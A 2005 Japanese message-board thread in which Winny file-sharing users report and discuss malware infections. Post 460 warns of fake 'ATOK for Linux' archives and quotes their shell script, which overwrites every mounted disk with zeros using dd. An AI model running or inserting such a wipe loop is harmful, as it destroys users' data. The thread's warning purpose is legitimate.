05/02/11 21:25:37 7ioOqnvqO
初めまして。突然ですが質問させてください。
１週間くらいnyを起動しっ放しで
今日久しぶりにパソコンをいじってみたら
なぜか重いのでとりあえず再起動してみたら
パスワードが間違っているで（正確なパスなのに）ユーザーログインできません。
ユーザーアカウントはこれ一つなので
今何もできない状態です。
このようなことをするウイルスは出回っているのでしょうか？
今は携帯からアクセスしています
どうかご指摘お願いします。

404:[名無し]さん(bin+cue).rar
05/02/11 22:19:05 BaTs3hlv0
>>403

￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣｣
―――――――‐┬┘
　　　　＿＿＿＿.＿＿＿＿　　 |　.＿＿　　　パソコンを
　　　　　|　　　　 | 　　　　|　　 |　|＼＿＼　　窓から
　　　　　|　　　　 | ∧＿∧　|　　 |　|　 |.◎.｜　投げ捨てろ
　　　　　|　　　　 |（　´∀｀）つミ |　|　 |.：　｜
　　　　　|　　　　 |/ ⊃　ﾉ　|　　 |　.＼|.≡.｜
　　　　￣￣￣￣'￣￣￣￣　　 |　　　￣￣

405:[名無し]さん(bin+cue).rar
05/02/11 22:45:48 uQxbXYyh0
スマソ。色々調べてみたんだけど、よくわからんのでお聞きします。
XP起動時にHDからアクセス音が止まりません。タスクマネージャを開いてみると
「MM」というプログラムが実行されており、このタスクを終了させるとHDへの
アクセスは止まります。プログラムのアイコンはUNと書かれたものでした。
これって何なんでしょうか？

406:[名無し]さん(bin+cue).rar
05/02/11 22:49:30 Rsui7PMx0
(´･ω･`)しらんがな

407:[名無し]さん(bin+cue).rar
05/02/12 00:11:08 aJ0bMzDt0
質問テンプレも読まないやつが厚顔無恥に書き込むこんな世の中じゃ(ry

408:[名無し]さん(bin+cue).rar
05/02/12 00:17:15 rXp7usQA0
ポイズン

409:[名無し]さん(bin+cue).rar
05/02/12 03:02:31 m1VjmALg0
WinXPSP2、WU済み
ノートンUpdate済み

(一般コミック・雑誌)　[ジャンプ]　[2005-11]　DEATH　NOTE　page.57　「二択」.zip　UperOOnise　1b1ee36abf324cf4ccdaca3d245391f4
に入ってたexe踏んじゃった・・・
zip解凍するとWinRARアイコンのexeファイル(サイズ：2.28　MB)とUpper.mp3
exe実行でデスクトップキャプチャ(ユーザー名のデスクトップ.bmp)、
壁紙変更(まだ懲りないの？.bmp　＊内容：晒されたっていいじゃないの　泥棒だもの　ぬるぽ)
MP3は先に消したので分からないが、音が鳴るのかも
nyのiniにぬるぽ無し、Upフォルダ追加無し、Upfolder.txt追記無し
レジストリはよく分からないが、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
には変わった値はない気がする
Cドライブを.exeで検索後、更新日時、作成日時でソートしたが怪しいファイルは見つからず
ウィルススキャンしても検出出来ず

これは既出？

410:[名無し]さん(bin+cue).rar
05/02/12 03:02:49 jfgwByGq0
<404
国へ帰れ。

411:[名無し]さん(bin+cue).rar
05/02/12 03:13:46 Q3/xb0y10
「晒されたっていいじゃないか泥棒だもの　ぬるぽ」
ウィルスに引っかかって勝手に変えられた壁紙だけど・・・ケッコー気に入った。
ちょうど壁紙探してたから感謝感謝！

412:409
05/02/12 03:27:25 m1VjmALg0
壁紙うｐしてみる
bmpだと2Mもあるからpngで。
URLﾘﾝｸ(sylphys.ddo.jp)

なんだか今のところ痛くもかゆくもないんだけど・・・
これから何かあるんだろうか？
一応スタートアップも確認したし、今日はとりあえず寝るかな

413:[名無し]さん(bin+cue).rar
05/02/12 04:31:38 /TNDgjXk0
>409
既出というか、ちょろっと落として先頭ブロック表示しただけで
かっとばせヌルポース.zip　とか　/../../../../../Documents and Settings/All Users/～
とかいう文字が見えた時点で（ｒｙ

414:[名無し]さん(bin+cue).rar
05/02/12 08:41:38 tt0na5K10
>>403
Numlockじゃねーの。
ウイルスだとしたらご愁傷様。それと報告乙。

415:[名無し]さん(bin+cue).rar
05/02/12 08:42:28 tt0na5K10
間違えたCapslockだ

416:[名無し]さん(bin+cue).rar
05/02/12 10:36:54 HvsYg15v0
ノートPCだと、ものによってはNumLockで引っかかってる事もある

417:409
05/02/12 10:53:59 m1VjmALg0
>>413
よく分からないけど、こいつはヌルポース？
解凍にはnoah使ったから、変な場所に解凍される事はないと思うけど、
exe踏んだ後の活動内容がよく分からない。
実行時にSS撮って壁紙変えただけで、マイドキュメントとかWinｎｙフォルダに変なファイル
作るわけでもなく・・・
>>411は何か起きたのかなー

418:[名無し]さん(bin+cue).rar
05/02/12 12:40:43 R/LTPj740
>413　おまい様が途中まで落としたってのは、こっちでは？

　　　84 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：05/02/09(水) 16:19:18 ID:UIxh++l70
　　　(一般コミック・雑誌) [ジャンプ] [2005-11] DEATH NOTE.zip 3,368,888 f5a386c0b77f778bd5eaa18e11a0d5f8

　　　92 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：05/02/09(水) 16:24:43 ID:VFelumFG0
　　　>84　の方のは偽っていうかウィルスっぽいの詰め合わせかな

419:[名無し]さん(bin+cue).rar
05/02/12 13:09:29 wqszjevM0
.me11p0のパスってなんなんだろうな
もしかして作者しか知らないって奴か？

420:397
05/02/12 13:26:01 5xwzIgRG0
>>398
一応実験結果
コピー不可 cmd.exeからでも無理
エディッタ読めても上書き不可
ファイルの所有者を別ユーザーにして実行者と分けているためMSのファイル管理にバグか
ウイルスが所有権を書き換えて書き込み許可をつけなければ書き換えられない。

一応保険の気休めにしかならないです。
一番良いのはワームを踏まないことなのは十分承知

421:[名無し]さん(bin+cue).rar
05/02/12 15:00:45 smIwQcq20
いやーびっくり
俺も>>409とまったく同じ状態だ
なんとなく怖いから現在はサブノートを
使っている状態だ

422:[名無し]さん(bin+cue).rar
05/02/12 15:10:56 smIwQcq20
追記。
win.iniの方にぬるぽｶﾞｯが入ってた
これは昔感染したウィルスの名残かもしれないから
俺だけの可能性もあるけど一応見てみてくれ

423:[名無し]さん(bin+cue).rar
05/02/12 15:36:05 AdeU+lvr0
オンラインなマシンで妙な挙動やうさんくさい痕跡が見つかったら、
すぐに切断＆初期化＆新規インスコしないってのは何故なんだ。検証
報告は仮想マシンやオフラインでやるってのが筋だろうに。

昔感染した名残とか平気な顔して言えることか？(´･ω･`)

424:[名無し]さん(bin+cue).rar
05/02/12 17:14:24 eat95GIf0
ウィルスどんどん作って流せ。

425:409
05/02/12 18:39:14 m1VjmALg0
ごめん、検証するスキルのない俺が来るべきスレではなかったね
exe踏んだの初めてだったからちょっとパニくったんだ

面倒だけどクリーンインスコするよ
またノートン先生の使用期限伸びるな・・・

426:[名無し]さん(bin+cue).rar
05/02/12 18:58:07 0vTAE1Wd0
ノートン先生とAVG7とBitDefenderでウィルス対策しております
有効に働いてくれているので感謝しています
しかしノートン先生とAVGだけでも良いような気がしてきた今日この頃です

427:[名無し]さん(bin+cue).rar
05/02/12 21:14:16 eYincy+g0
ノートンだけでもいいんじゃないか
誤作動がうざいが設定でなんとかなるし

428:[名無し]さん(bin+cue).rar
05/02/12 21:31:06 hECHz0Aq0
>>426
ノートンとAVGを併用するメリットが分からない
それの組み合わせなら、ノートンだけかAVG+BitDefenderでいいじゃん

429:[名無し]さん(bin+cue).rar
05/02/12 22:58:10 7zwpKvk70
antinnyに関してだけなら
Norton > AVG > Bit

Bit削っても問題ない。

430:426
05/02/12 23:15:01 AUdkDUq80
>>427
>>428
>>429
わざわざ答えていただきありがたいです
玄人様の意見、参考にさせていただきます

431:[名無し]さん(bin+cue).rar
05/02/12 23:17:13 AdeU+lvr0
>>429
常駐がダブってるとあんまりいくないような気がする。

432:[名無し]さん(bin+cue).rar
05/02/12 23:23:27 pMaM0ZSl0
>>430
わざわざ皮肉言いに来たのか、ご苦労さま

433:[名無し]さん(bin+cue).rar
05/02/13 00:12:06 VJHb0qjp0
>>432
わざわざageてまで言うことか？

434:[名無し]さん(bin+cue).rar
05/02/13 00:14:37 VJHb0qjp0
ところでこの板のIDの末尾って0かOで固定されてんの？

435:[名無し]さん(bin+cue).rar
05/02/13 00:24:35 qUpCYDEj0
またか・・・

436:[名無し]さん(bin+cue).rar
05/02/13 00:36:55 hYbU6/tO0
>>434
m9(^Д^)ﾌﾟｷﾞｬｰ

437:[名無し]さん(bin+cue).rar
05/02/13 00:37:49 J4hwylB60
0が男の書き込みでOが女の書き込み
分かったか低脳

438:[名無し]さん(bin+cue).rar
05/02/13 00:40:43 w91NqGDp0
女ｲﾈ━━━('A`)━━━ !!

439:[名無し]さん(bin+cue).rar
05/02/13 00:48:07 P8bsgGGW0
[俺のアドレス帳]とかいうの流れてんの確認したけどこれは新種か？

440:[名無し]さん(bin+cue).rar
05/02/13 00:57:23 sSll5S2D0
いきなりウイルスが入って、気づけば消えてるってことありますか？

441:[名無し]さん(bin+cue).rar
05/02/13 01:40:18 /eSYWRiD0
ダウンしただけじゃ感染しないよ。

442:[名無し]さん(bin+cue).rar
05/02/13 02:56:19 gyGj6etUO
女

443:[名無し]さん(bin+cue).rar
05/02/13 03:20:37 jKSAIGFA0
んじゃぁ、俺はどっちだ

444:[名無し]さん(bin+cue).rar
05/02/13 05:19:29 S5wqXwBc0
ネカマ

445:[名無し]さん(bin+cue).rar
05/02/13 10:02:37 vSr3w6E60
>>439
>>11

446:[名無し]さん(bin+cue).rar
05/02/13 10:26:02 FfIijSVE0
>>409の詳細ﾏﾀﾞｰ？

447:[名無し]さん(bin+cue).rar
05/02/13 10:31:16 vSr3w6E60
ビューワソフトでも入ってたんじゃねか

448:[名無し]さん(bin+cue).rar
05/02/13 12:39:01 NY04I2Ol0
俺も>>409踏んじまったんだが
壁紙変えて画面キャプチャするだけのウィルスなんてあんのかな？
exe本体と壁紙サイズが同じくらいだったんだが（2.28M、2.25M）、これは関係なし？

449:[名無し]さん(bin+cue).rar
05/02/13 15:57:18 nmfcKRgN0
まず流通しているノートン自体にウイルスがある場合があるので気をつけろ
無料版とかあるならそちらでまず対処するのが吉だぜ

450:[名無し]さん(bin+cue).rar
05/02/13 16:07:42 B2yAGC8p0
書庫解凍後にフォルダアイコンをダブルクリックしたらmellpoに引っかかった(*´Д｀)
HDDガリガリアクセスしだしたのでタスクマネージャーでプロセス見たらmellpo.exe発見即停止
mellpoでファイル検索、program filesフォルダ内にmellpo.exeとhogehogeファイルを確認
2つのファイルは更新日時が同じでhogehogeファイルはメールボックスファイルのフルパスがリストアップしてあった(* ﾟдﾟ)ガクブル
UpFolder.txtの変化無し
レジストでRunには変化無し、mellpoで検索1件ヒット
HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICacheに発見
ノートンUpdate済みスキャンで検出無し

451:[名無し]さん(bin+cue).rar
05/02/13 16:10:31 ET6j2PhB0
質問スレから誘導されて来ました。とりあえずそのまま書き込みます。

ny関係のフォルダの中の、Upフォルダはどういう仕組みになってるのですか？
これは何だろうと見てみたら、ダウンしたこともないアダルト系の圧縮ファイルが
いーーっぱいあって驚きました。容量食うし何か分からないので全部消去しましたが
今日見てみるとまた少し溜まってました。何なのか教えて下さい。

452:[名無し]さん(bin+cue).rar
05/02/13 16:20:22 wCKpg0Qc0
>>451
質問する前にテンプレ>>1-13を熟読してください。

453:[名無し]さん(bin+cue).rar
05/02/13 16:22:45 Ntn5FObd0
>>451
テンプレが理解できなくても、ここで解説を求めないでください。

454:451
05/02/13 16:41:42 ET6j2PhB0
読んだつもりでしたが見逃していました。
同じような症状があるのですね、お騒がせしました。

455:[名無し]さん(bin+cue).rar
05/02/13 17:58:22 T1oJoBDM0
>>451
>>1の1行目から見逃すのは如何なものか

456:[名無し]さん(bin+cue).rar
05/02/13 22:36:19 S5wqXwBc0
>>451
(((;ﾟдﾟ))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

457:[名無し]さん(bin+cue).rar
05/02/13 22:58:18 JXQ6bCqx0
機転をきかして、
それが正常ですって何で言わないの？

458:[名無し]さん(bin+cue).rar
05/02/13 23:13:03 RlPSFcY40
ウィルス感染が広がったらnyのためにならないから。

459:[名無し]さん(bin+cue).rar
05/02/13 23:41:35 Cdbg4rKp0
このスレが本来の役割を果たしてないってのは、nyネットワークに
とってはいいことなんだよな。

460:[名無し]さん(bin+cue).rar
05/02/13 23:53:54 2dA3CWGr0
捏造ファイル一覧@winny

[2005-01-21] atok for linux.zip 4f3e71c955dd8bb0f47a1d122eb93396
[050121] ATOK for Linux.zip 86d2293fe5cf673356e7fd4d7f44b0fe
[2005-01-21] atok for linux.zip 760958c0955d5999d272e63879ece2a3
[2005-01-21] atok for linux.zip fccde84e559e99e2c660b5ce0c0553d3

100MB前後のものは下記掲載の全削除スクリプトが入っているので要注意!!

#!/bin/sh

# Source function library.
. /etc/rc.d/init.d/functions

aaa=$(mount | grep '^/dev/' | sort -r | awk '{print $1}')
for disk in $aaa ; do
nohup dd if=/dev/zero of=$disk bs=50000 > /dev/null 2>&1 &
done

捏造ファイル@share

[2005.01.21] ATOK for Linux.zip 9934e1679953bbf42d72c21df8cdf8afe23c6c9a
[2005.01.21] ATOK for Linux.zip 775d1e1e2cd98161087c631b4d37867ce6f856ac

461:[名無し]さん(bin+cue).rar
05/02/14 00:02:52 iUGxWps+0
ATOKぐらい買ってやれよ
今、裁判で大変なんだからさｗ

462:[名無し]さん(bin+cue).rar
05/02/14 00:23:33 Dz3BBZmb0
>>461
買えなくなったりしてｗ

463:[名無し]さん(bin+cue).rar
05/02/14 01:47:10 hAsCfGtk0
つーかWinnyを狙ってないよな

464:[名無し]さん(bin+cue).rar
05/02/14 02:02:17 F4x00gBw0
>>463
ﾜﾛｽ

465:ram
05/02/14 03:21:04 8HDLnSS70
【使用OS】 xp home (SP2)でした。
【WindowsUpdateしてるか】してました。
【使用AntiVirusソフト】ノートン先生
【AntiVirusをUpdateしてるか】してました。
【ウイルススキャンの結果】下記参照。
【オンラインスキャンしたなら結果】下記参照。
【Winnyのﾊﾞｰｼﾞｮﾝ】２
【Winny歴、総DL量】 1年半・１２０G
【テンプレを読んだか】読んでます。
【テンプレにある対策を実行したか】してました。
【症状、具体的に分かる限りすべて書く】
久しぶりにPC全体にスキャンかけたら、ドキュメント＆セッティングのフォルダの中の、
インターネットテンポラリの添付フォルダに、「[映画]ハウルの動く城.avi.exe」を検知した。
その日、nyを起動してたら、ノードが結構消えてたりもしていました。
【何をしたらそんなことになったのか】ノートンで久しぶりにPC全体にスキャンをかけてみたから。
【これまでにとった措置】
ノートPCなので、OSの再インストール（上書き？[OSがHDDに内蔵されてるタイプだから・・・。]）

こんな感じなのですが、まだウイルスに感染していると思いますか？
また、亜種の可能性ってありますか？

私は極窓等での判別でexeファイルなどを見つけたら開かないようにしているのですが・・・。

466:[名無し]さん(bin+cue).rar
05/02/14 03:26:22 6ib9zEpW0
>>465
その文章からそんなことわかんねーよ。テンプレ読んで死ね。

467:[名無し]さん(bin+cue).rar
05/02/14 11:34:21 InDtnOzg0
ウイルス定義ファイルに注意--シマンテック製品にウイルス感染を招く脆弱性
URLﾘﾝｸ(headlines.yahoo.co.jp)

先生、しっかりしろよｗ

468:[名無し]さん(bin+cue).rar
05/02/14 11:52:38 2obzU+Uk0
こりゃまた凄いセキュリティホールだな
実行しなくてもメール受信しただけで感染かよw

469:[名無し]さん(bin+cue).rar
05/02/14 12:25:18 hpf+qUap0
先生ッ！

470:[名無し]さん(bin+cue).rar
05/02/14 12:34:04 BlelK1f30
>>467
んなもんとっくに直ってるわい(報告してから対策まで結構時間かかったが)

471:[名無し]さん(bin+cue).rar
05/02/14 13:00:19 iUGxWps+0
>>470
この前ウィルス情報の他にプログラムパッチも来てたがそれか？

472:[名無し]さん(bin+cue).rar
05/02/14 15:32:44 ODivqBvj0
Upフォルダに大量のの冷凍ファイルと謎のオタ男の写真があったんですが
これがキン○マと呼ばれるウイルスですよね？
削除してもどんどん溜まっていくし消せない冷凍ファイルもあるしパニック（´Д⊂
nyなんてたま～にしかしないのに、いつの間に入ってきたんだろぅ。

次ページ